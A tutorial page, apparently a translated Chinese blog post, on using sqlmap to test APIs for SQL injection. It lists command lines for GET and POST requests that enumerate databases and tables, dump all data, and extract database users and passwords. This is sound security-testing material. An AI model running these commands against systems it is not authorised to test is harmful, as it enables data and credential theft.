当前位置:网站首页>Sqlmap for interface security testing
Sqlmap for interface security testing
2022-06-25 20:55:00 【Gem, Chaochao】
sqlmap
brief introduction
Official website : https://sqlmap.org/
know : sqlmap Is an open source penetration testing tool , It automates detection and utilization SQL The process of injecting defects and taking over the database server .
characteristic :
1. Support MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2 And other common databases .
2. Support six SQL Injection technology is based on Boolean blind injection 、 Time based blind annotation 、 Error based injection 、 Injection based on joint query 、 Stack query injection and out of band query injection .
3. Support automatic identification of password hash format , And support the use of dictionary based attacks to crack it .
4. Support dump Database table , Can also be dump Partial column , It depends on the user's choice .
Use
reminder : Please test in your own environment , Do not test other websites for damage
Premise : The system has been configured Python Environmental Science
stay sqlmap Under the document ,shift+ Right mouse button , choice Open here Powershell window
get request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dump-all
post request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dump-all
legend
Safe
all tested parameters do not appear to be injectable
None of the test parameters seem to inject

Not safe

边栏推荐
- [golang] leetcode intermediate - the kth largest element in the array &
- Xshell mouse configuration
- Cloud development practice of the small program for brushing questions in the postgraduate entrance examination - page design and production (home page of the question bank, ranking page, my)
- Analysis and cleaning of kdevtmpfsi virus content
- Redis core principle and design idea
- Cvpr2021 collection of papers | cvpr2021 latest papers | cvpr2021 review results | cvpr2021 admission results
- Svn various color states
- CSDN sign in cash reward
- Jmeter+grafana+influxdb build visual performance test monitoring platform (full)
- Record some questions about MySQL (DNS reverse resolution in Linux)
猜你喜欢

Cvpr2020 | the latest cvpr2020 papers are the first to see, with all download links attached!
Understand the offline mixing technology in the industry
Paddledtx v1.0 has been released, and its security and flexibility have been comprehensively improved!
Cloud development practice of the small program for brushing questions in the postgraduate entrance examination - page design and production (home page of the question bank, ranking page, my)

Must see the summary! In depth learning era, you should read 10 articles to understand image classification!

Idea implements hot deployment
2022 "gold, silver and four" is a must for job hopping. You must know 100 questions in 2022 intermediate and advanced Android interview to realize your big factory dream

Node installation method you don't know

Insert and update each database
MySQL installation tutorial
随机推荐
Openocd compilation and installation
[machine learning] machine learning from zero to mastery -- teaching you how to use decision tree to predict contact lens types
Desktop network error display red ×, Component failed to start
Lesson 3 urllib
Ensure the decentralization and availability of Oracle network
Installing mysql8 under centos8
Exploration of advanced document editor design in online Era
Interface automation -md5 password encryption
2022年启牛学堂证券开户安全嘛?
[golang] leetcode intermediate - the kth largest element in the array &
How does zhiting home cloud and home assistant access homekit respectively? What is the difference between them?
Live broadcast preview | front line experts invite you to talk: the value of data science enabling multiple application scenarios
Must see the summary! In depth learning era, you should read 10 articles to understand image classification!
Openocd adds third-party device support: ht32f52352 Cortex-M0+
1.1-mq visual client preliminary practice
Get the root directory of the package at compile time from buildreoot
After 20 days' interview, I finally joined Ali (share the interview process)
[summary] 2021unctf Campus (cry & MISC)
Inventory - those automated test interview questions you can't help but know
Paddledtx v1.0 has been released, and its security and flexibility have been comprehensively improved!